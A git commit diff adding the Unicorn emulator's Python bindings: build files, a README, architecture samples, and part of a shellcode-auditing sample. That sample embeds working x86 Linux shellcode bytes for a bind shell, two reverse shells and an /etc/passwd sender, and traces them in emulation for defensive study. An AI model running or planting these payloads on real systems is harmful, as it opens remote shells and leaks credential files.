import
This commit is contained in:
4
bindings/python/MANIFEST.in
Normal file
4
bindings/python/MANIFEST.in
Normal file
@@ -0,0 +1,4 @@
|
||||
recursive-include src *
|
||||
recursive-include prebuilt *
|
||||
include LICENSE.TXT
|
||||
include README
|
||||
82
bindings/python/Makefile
Normal file
82
bindings/python/Makefile
Normal file
@@ -0,0 +1,82 @@
|
||||
# Python binding for Unicorn engine. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
|
||||
ifndef BUILDDIR
|
||||
OBJDIR = ./build
|
||||
else
|
||||
OBJDIR = $(abspath $(BUILDDIR))/obj/bindings/python
|
||||
endif
|
||||
|
||||
.PHONY: gen_const install install3 clean
|
||||
|
||||
gen_const:
|
||||
cd .. && python const_generator.py python
|
||||
|
||||
install:
|
||||
rm -rf $(OBJDIR) src/
|
||||
rm -rf prebuilt/win64/unicorn.dll
|
||||
rm -rf prebuilt/win32/unicorn.dll
|
||||
if test -n "${DESTDIR}"; then \
|
||||
python setup.py build -b $(OBJDIR) install --root="${DESTDIR}"; \
|
||||
else \
|
||||
python setup.py build -b $(OBJDIR) install; \
|
||||
fi
|
||||
|
||||
install3:
|
||||
rm -rf $(OBJDIR) src/
|
||||
rm -rf prebuilt/win64/unicorn.dll
|
||||
rm -rf prebuilt/win32/unicorn.dll
|
||||
if test -n "${DESTDIR}"; then \
|
||||
python3 setup.py build -b $(OBJDIR) install --root="${DESTDIR}"; \
|
||||
else \
|
||||
python3 setup.py build -b $(OBJDIR) install; \
|
||||
fi
|
||||
|
||||
# build & upload PyPi package with source code of the core
|
||||
sdist:
|
||||
rm -rf src/ dist/
|
||||
rm -rf prebuilt/win64/unicorn.dll
|
||||
rm -rf prebuilt/win32/unicorn.dll
|
||||
cp README.pypi-src README
|
||||
cp PKG-INFO.src PKG-INFO
|
||||
python setup.py sdist register upload
|
||||
|
||||
# build & upload PyPi package with source code of the core
|
||||
sdist3:
|
||||
rm -rf src/ dist/
|
||||
rm -rf prebuilt/win64/unicorn.dll
|
||||
rm -rf prebuilt/win32/unicorn.dll
|
||||
cp README.pypi-src README
|
||||
cp PKG-INFO.src PKG-INFO
|
||||
python3 setup.py sdist register upload
|
||||
|
||||
# build & upload PyPi package with prebuilt core
|
||||
# NOTE: be sure to have precompiled core under prebuilt/win*/ beforehand
|
||||
sdist_win:
|
||||
rm -rf src/ dist/
|
||||
cp README.pypi-win README
|
||||
cp PKG-INFO.win PKG-INFO
|
||||
python setup.py sdist register upload
|
||||
|
||||
# build & upload PyPi package with prebuilt core
|
||||
# NOTE: be sure to have precompiled core under prebuilt/win*/ beforehand
|
||||
sdist3_win:
|
||||
rm -rf src/ dist/
|
||||
cp README.pypi-win README
|
||||
cp PKG-INFO.win PKG-INFO
|
||||
python3 setup.py sdist register upload
|
||||
|
||||
clean:
|
||||
rm -rf $(OBJDIR) src/ dist/ README
|
||||
rm -f unicorn/*.so
|
||||
rm -rf prebuilt/win64/unicorn.dll
|
||||
rm -rf prebuilt/win32/unicorn.dll
|
||||
|
||||
|
||||
SAMPLES = sample_arm.py sample_arm64.py sample_mips.py
|
||||
SAMPLES += sample_sparc.py sample_m68k.py sample_x86.py
|
||||
check:
|
||||
@for t in $(SAMPLES); do \
|
||||
echo Check $$t ... ; \
|
||||
./$$t > /dev/null && echo OK || echo FAILED; \
|
||||
done
|
||||
|
||||
63
bindings/python/README.TXT
Normal file
63
bindings/python/README.TXT
Normal file
@@ -0,0 +1,63 @@
|
||||
This documentation explains how to install Python binding for Unicorn
|
||||
from source. If you want to install it from PyPi package, see the below
|
||||
docs instead:
|
||||
|
||||
- README.pypi-src: How to compile the Unicorn core & install binding
|
||||
at the same time from PyPi package "unicorn"
|
||||
|
||||
- README.pypi-win: How to install binding for Windows from PyPi package
|
||||
"unicorn-windows". Note that this package already has prebuilt core
|
||||
inside, so no compilation is needed.
|
||||
|
||||
|
||||
0. Install the core engine as dependency
|
||||
|
||||
Follow README in the root directory to compile & install the core.
|
||||
|
||||
On *nix, this can simply done by:
|
||||
|
||||
$ sudo ./make.sh install
|
||||
|
||||
|
||||
1. To install pure Python binding on *nix, run the command below:
|
||||
|
||||
$ sudo make install
|
||||
|
||||
To install Python3 binding package, run the command below:
|
||||
(Note: this requires python3 installed in your machine)
|
||||
|
||||
$ sudo make install3
|
||||
|
||||
|
||||
|
||||
This directory contains some sample code to show how to use Unicorn API.
|
||||
|
||||
- sample_<arch>.py
|
||||
These code show how to access architecture-specific information for each
|
||||
architecture.
|
||||
|
||||
- shellcode.py
|
||||
This shows how to analyze a Linux shellcode.
|
||||
|
||||
|
||||
2. To install Python binding on Windows:
|
||||
|
||||
Recommended method:
|
||||
|
||||
Use the Python module installer for 32/64 bit Windows from:
|
||||
|
||||
http://www.unicorn-engine.org/download.html
|
||||
|
||||
|
||||
Manual method:
|
||||
|
||||
If the module installer fails to locate your Python install, or if you have
|
||||
additional Python installs (e.g. Anaconda / virtualenv), run the following
|
||||
command in command prompt:
|
||||
|
||||
C:\> C:\location_to_python\python.exe setup.py install
|
||||
|
||||
Next, copy unicorn.dll from the 'Core engine for Windows' package available
|
||||
on the same Unicorn download page and paste it in the path:
|
||||
|
||||
C:\location_to_python\Lib\site-packages\unicorn\
|
||||
103
bindings/python/sample_arm.py
Executable file
103
bindings/python/sample_arm.py
Executable file
@@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.arm_const import *
|
||||
|
||||
|
||||
# code to be emulated
|
||||
ARM_CODE = "\x37\x00\xa0\xe3\x03\x10\x42\xe0" # mov r0, #0x37; sub r1, r2, r3
|
||||
THUMB_CODE = "\x83\xb0" # sub sp, #0xc
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
|
||||
|
||||
|
||||
# Test ARM
|
||||
def test_arm():
|
||||
print("Emulate ARM code")
|
||||
try:
|
||||
# Initialize emulator in ARM mode
|
||||
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, ARM_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(ARM_REG_R0, 0x1234)
|
||||
mu.reg_write(ARM_REG_R2, 0x6789)
|
||||
mu.reg_write(ARM_REG_R3, 0x3333)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r0 = mu.reg_read(ARM_REG_R0)
|
||||
r1 = mu.reg_read(ARM_REG_R1)
|
||||
print(">>> R0 = 0x%x" %r0)
|
||||
print(">>> R1 = 0x%x" %r1)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_thumb():
|
||||
print("Emulate THUMB code")
|
||||
try:
|
||||
# Initialize emulator in thumb mode
|
||||
mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, THUMB_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(ARM_REG_SP, 0x1234)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(THUMB_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
sp = mu.reg_read(ARM_REG_SP)
|
||||
print(">>> SP = 0x%x" %sp)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_arm()
|
||||
print("=" * 20)
|
||||
test_thumb()
|
||||
67
bindings/python/sample_arm64.py
Executable file
67
bindings/python/sample_arm64.py
Executable file
@@ -0,0 +1,67 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for ARM64 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.arm64_const import *
|
||||
|
||||
|
||||
# code to be emulated
|
||||
ARM64_CODE = "\xab\x01\x0f\x8b" #add x11, x13, x15
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
|
||||
|
||||
|
||||
# Test ARM64
|
||||
def test_arm64():
|
||||
print("Emulate ARM64 code")
|
||||
try:
|
||||
# Initialize emulator in ARM mode
|
||||
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, ARM64_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(ARM64_REG_X11, 0x1234)
|
||||
mu.reg_write(ARM64_REG_X13, 0x6789)
|
||||
mu.reg_write(ARM64_REG_X15, 0x3333)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
x11 = mu.reg_read(ARM64_REG_X11)
|
||||
x13 = mu.reg_read(ARM64_REG_X13)
|
||||
x15 = mu.reg_read(ARM64_REG_X15)
|
||||
print(">>> X11 = 0x%x" %x11)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_arm64()
|
||||
62
bindings/python/sample_m68k.py
Executable file
62
bindings/python/sample_m68k.py
Executable file
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.m68k_const import *
|
||||
|
||||
|
||||
# code to be emulated
|
||||
M68K_CODE = "\x76\xed" # movq #-19, %d3
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
|
||||
|
||||
|
||||
# Test ARM
|
||||
def test_m68k():
|
||||
print("Emulate M68K code")
|
||||
try:
|
||||
# Initialize emulator in ARM mode
|
||||
mu = Uc(UC_ARCH_M68K, UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, M68K_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(M68K_REG_D3, 0x1234)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(M68K_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
d3 = mu.reg_read(M68K_REG_D3)
|
||||
print(">>> D3 = 0x%x" %d3)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_m68k()
|
||||
101
bindings/python/sample_mips.py
Executable file
101
bindings/python/sample_mips.py
Executable file
@@ -0,0 +1,101 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for MIPS of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.mips_const import *
|
||||
|
||||
|
||||
# code to be emulated
|
||||
MIPS_CODE_EB = "\x34\x21\x34\x56" # ori $at, $at, 0x3456;
|
||||
MIPS_CODE_EL = "\x56\x34\x21\x34" # ori $at, $at, 0x3456;
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
|
||||
|
||||
|
||||
# Test MIPS EB
|
||||
def test_mips_eb():
|
||||
print("Emulate MIPS code (big-endian)")
|
||||
try:
|
||||
# Initialize emulator in MIPS32 + EB mode
|
||||
mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, MIPS_CODE_EB)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(MIPS_REG_1, 0x6789)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(MIPS_CODE_EB))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r1 = mu.reg_read(MIPS_REG_1)
|
||||
print(">>> r1 = 0x%x" %r1)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
# Test MIPS EL
|
||||
def test_mips_el():
|
||||
print("Emulate MIPS code (little-endian)")
|
||||
try:
|
||||
# Initialize emulator in MIPS32 + EL mode
|
||||
mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, MIPS_CODE_EL)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(MIPS_REG_1, 0x6789)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(MIPS_CODE_EL))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r1 = mu.reg_read(MIPS_REG_1)
|
||||
print(">>> r1 = 0x%x" %r1)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_mips_eb()
|
||||
print("=" * 20)
|
||||
test_mips_el()
|
||||
380
bindings/python/sample_network_auditing.py
Executable file
380
bindings/python/sample_network_auditing.py
Executable file
@@ -0,0 +1,380 @@
|
||||
#!/usr/bin/env python
|
||||
# Unicorn sample for auditing network connection and file handling in shellcode.
|
||||
# Nguyen Tan Cong <shenlongbk@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
import struct
|
||||
import uuid
|
||||
import random
|
||||
|
||||
SIZE_REG = 4
|
||||
SOCKETCALL_MAX_ARGS = 6
|
||||
FILENAME_MAX_LEN = 128
|
||||
|
||||
SOCKET_TYPES = {
|
||||
1: "SOCK_STREAM",
|
||||
2: "SOCK_DGRAM",
|
||||
3: "SOCK_RAW",
|
||||
4: "SOCK_RDM",
|
||||
5: "SOCK_SEQPACKET",
|
||||
10: "SOCK_PACKET"
|
||||
}
|
||||
|
||||
ADDR_FAMILY = {
|
||||
0: "AF_UNSPEC",
|
||||
1: "AF_UNIX",
|
||||
2: "AF_INET",
|
||||
3: "AF_AX25",
|
||||
4: "AF_IPX",
|
||||
5: "AF_APPLETALK",
|
||||
6: "AF_NETROM",
|
||||
7: "AF_BRIDGE",
|
||||
8: "AF_AAL5",
|
||||
9: "AF_X25",
|
||||
10: "AF_INET6",
|
||||
12: "AF_MAX"
|
||||
}
|
||||
|
||||
# http://shell-storm.org/shellcode/files/shellcode-861.php
|
||||
X86_SEND_ETCPASSWD = b"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x01\x59\xb0\x3f\xcd\x80\xeb\x27\x6a\x05\x58\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01\x58\x43\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
|
||||
# http://shell-storm.org/shellcode/files/shellcode-882.php
|
||||
X86_BIND_TCP = b"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
|
||||
|
||||
# http://shell-storm.org/shellcode/files/shellcode-883.php
|
||||
X86_REVERSE_TCP = b"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
|
||||
|
||||
# http://shell-storm.org/shellcode/files/shellcode-849.php
|
||||
X86_REVERSE_TCP_2 = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x01\x0a\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x1000000
|
||||
|
||||
# supported classes
|
||||
class IdGenerator:
|
||||
def __init__(self):
|
||||
self.__next_id = 3 # exclude sdtin, stdout, stderr
|
||||
|
||||
def next(self):
|
||||
next_id = self.__next_id
|
||||
|
||||
self.__next_id += 1
|
||||
|
||||
return next_id
|
||||
|
||||
class LogChain:
|
||||
def __init__(self):
|
||||
self.__chains = {}
|
||||
self.__linking_fds = {}
|
||||
|
||||
def clean(self):
|
||||
self.__chains = {}
|
||||
self.__linking_fds = {}
|
||||
|
||||
def create_chain(self, id):
|
||||
if not self.__chains.has_key(id):
|
||||
self.__chains[id] = []
|
||||
else:
|
||||
print("LogChain: id %d existed" % id)
|
||||
|
||||
def add_log(self, id, msg):
|
||||
fd = self.get_original_fd(id)
|
||||
|
||||
if fd is not None:
|
||||
self.__chains[fd].append(msg)
|
||||
else:
|
||||
print("LogChain: id %d doesn't exist" % id)
|
||||
|
||||
def link_fd(self, from_fd, to_fd):
|
||||
if not self.__linking_fds.has_key(to_fd):
|
||||
self.__linking_fds[to_fd] = []
|
||||
|
||||
self.__linking_fds[to_fd].append(from_fd)
|
||||
|
||||
def get_original_fd(self, fd):
|
||||
if self.__chains.has_key(fd):
|
||||
return fd
|
||||
|
||||
for orig_fd, links in self.__linking_fds.iteritems():
|
||||
if fd in links:
|
||||
return orig_fd
|
||||
|
||||
return None
|
||||
|
||||
def print_report(self):
|
||||
print("""
|
||||
----------------
|
||||
| START REPORT |
|
||||
----------------
|
||||
""")
|
||||
for id, logs in self.__chains.iteritems():
|
||||
print("---- START FD(%d) ----" % id)
|
||||
print("\n".join(logs))
|
||||
print("---- END FD(%d) ----" % id)
|
||||
|
||||
print("""
|
||||
--------------
|
||||
| END REPORT |
|
||||
--------------
|
||||
""")
|
||||
|
||||
# end supported classes
|
||||
|
||||
id_gen = IdGenerator()
|
||||
fd_chains = LogChain()
|
||||
|
||||
# utilities
|
||||
def bin_to_ipv4(ip):
|
||||
return "%d.%d.%d.%d" % (
|
||||
(ip & 0xff000000) >> 24,
|
||||
(ip & 0xff0000) >> 16,
|
||||
(ip & 0xff00) >> 8,
|
||||
(ip & 0xff))
|
||||
|
||||
def bytearray_to_string(ba):
|
||||
ret = ""
|
||||
|
||||
i = 0
|
||||
while i < len(ba) and ba[i] != 0x0:
|
||||
ret += chr(ba[i])
|
||||
|
||||
i += 1
|
||||
|
||||
return ret
|
||||
|
||||
def parse_sock_address(sock_addr):
|
||||
sin_family, = struct.unpack("<h", sock_addr[:2])
|
||||
|
||||
if sin_family == 2: # AF_INET
|
||||
port, host = struct.unpack(">HI", sock_addr[2:8])
|
||||
return "%s:%d" % (bin_to_ipv4(host), port)
|
||||
elif sin_family == 6: # AF_INET6
|
||||
return ""
|
||||
|
||||
def print_sockcall(msg):
|
||||
print(">>> SOCKCALL %s" % msg)
|
||||
# end utilities
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size))
|
||||
# read this instruction code from memory
|
||||
tmp = uc.mem_read(address, size)
|
||||
print(">>> Instruction code at [0x%x] =" %(address), end="")
|
||||
for i in tmp:
|
||||
print(" %x" %i, end="")
|
||||
print("")
|
||||
|
||||
# callback for tracing Linux interrupt
|
||||
def hook_intr(uc, intno, user_data):
|
||||
# only handle Linux syscall
|
||||
if intno != 0x80:
|
||||
return
|
||||
|
||||
eax = uc.reg_read(X86_REG_EAX)
|
||||
ebx = uc.reg_read(X86_REG_EBX)
|
||||
ecx = uc.reg_read(X86_REG_ECX)
|
||||
edx = uc.reg_read(X86_REG_EDX)
|
||||
eip = uc.reg_read(X86_REG_EIP)
|
||||
|
||||
# print(">>> INTERRUPT %d" % eax)
|
||||
|
||||
if eax == 1: # sys_exit
|
||||
print(">>> SYS_EXIT")
|
||||
uc.emu_stop()
|
||||
elif eax == 3: # sys_read
|
||||
fd = ebx
|
||||
buf = ecx
|
||||
count = edx
|
||||
|
||||
dummy_content = str(uuid.uuid1())
|
||||
if len(dummy_content) > count:
|
||||
dummy_content = dummy_content[:count]
|
||||
|
||||
uc.mem_write(buf, dummy_content)
|
||||
|
||||
msg = "read %d bytes from fd(%d) with dummy_content(%s)" % (count, fd, dummy_content)
|
||||
|
||||
fd_chains.add_log(fd, msg)
|
||||
print(">>> %s" % msg)
|
||||
elif eax == 4: # sys_write
|
||||
fd = ebx
|
||||
buf = ecx
|
||||
count = edx
|
||||
|
||||
content = uc.mem_read(buf, count)
|
||||
|
||||
msg = "write data=%s count=%d to fd(%d)" % (bytearray_to_string(content), count, fd)
|
||||
|
||||
print(">>> %s" % msg)
|
||||
fd_chains.add_log(fd, msg)
|
||||
elif eax == 5: # sys_open
|
||||
filename_addr = ebx
|
||||
flags = ecx
|
||||
mode = edx
|
||||
filename = uc.mem_read(filename_addr, FILENAME_MAX_LEN)
|
||||
|
||||
dummy_fd = id_gen.next()
|
||||
uc.reg_write(X86_REG_EAX, dummy_fd)
|
||||
|
||||
msg = "open file (filename=%s flags=%d mode=%d) with fd(%d)" % (bytearray_to_string(filename), flags, mode, dummy_fd)
|
||||
|
||||
fd_chains.create_chain(dummy_fd)
|
||||
fd_chains.add_log(dummy_fd, msg)
|
||||
print(">>> %s" % msg)
|
||||
elif eax == 11: # sys_execv
|
||||
# print(">>> ebx=0x%x, ecx=0x%x, edx=0x%x" % (ebx, ecx, edx))
|
||||
filename = uc.mem_read(ebx, FILENAME_MAX_LEN)
|
||||
|
||||
print(">>> SYS_EXECV filename=%s" % bytearray_to_string(filename))
|
||||
elif eax == 63: # sys_dup2
|
||||
fd_chains.link_fd(ecx, ebx)
|
||||
print(">>> SYS_DUP2 oldfd=%d newfd=%d" % (ebx, ecx))
|
||||
elif eax == 102: # sys_socketcall
|
||||
# ref: http://www.skyfree.org/linux/kernel_network/socket.html
|
||||
call = uc.reg_read(X86_REG_EBX)
|
||||
args = uc.reg_read(X86_REG_ECX)
|
||||
|
||||
buf = uc.mem_read(args, SOCKETCALL_MAX_ARGS*SIZE_REG)
|
||||
args = struct.unpack("<" + "I"*SOCKETCALL_MAX_ARGS, buf)
|
||||
|
||||
# int sys_socketcall(int call, unsigned long *args)
|
||||
if call == 1: # sys_socket
|
||||
# err = sys_socket(a0,a1,a[2])
|
||||
# int sys_socket(int family, int type, int protocol)
|
||||
family = args[0]
|
||||
sock_type = args[1]
|
||||
protocol = args[2]
|
||||
|
||||
dummy_fd = id_gen.next()
|
||||
uc.reg_write(X86_REG_EAX, dummy_fd)
|
||||
|
||||
if family == 2: # AF_INET
|
||||
|
||||
msg = "create socket (%s, %s) with fd(%d)" % (ADDR_FAMILY[family], SOCKET_TYPES[sock_type], dummy_fd)
|
||||
fd_chains.create_chain(dummy_fd)
|
||||
fd_chains.add_log(dummy_fd, msg)
|
||||
print_sockcall(msg)
|
||||
elif family == 3: # AF_INET6
|
||||
pass
|
||||
|
||||
elif call == 2: # sys_bind
|
||||
fd = args[0]
|
||||
umyaddr = args[1]
|
||||
addrlen = args[2]
|
||||
|
||||
sock_addr = uc.mem_read(umyaddr, addrlen)
|
||||
|
||||
msg = "fd(%d) bind to %s" % (fd, parse_sock_address(sock_addr))
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 3: # sys_connect
|
||||
# err = sys_connect(a0, (struct sockaddr *)a1, a[2])
|
||||
# int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
|
||||
fd = args[0]
|
||||
uservaddr = args[1]
|
||||
addrlen = args[2]
|
||||
|
||||
sock_addr = uc.mem_read(uservaddr, addrlen)
|
||||
msg = "fd(%d) connect to %s" % (fd, parse_sock_address(sock_addr))
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 4: # sys_listen
|
||||
fd = args[0]
|
||||
backlog = args[1]
|
||||
|
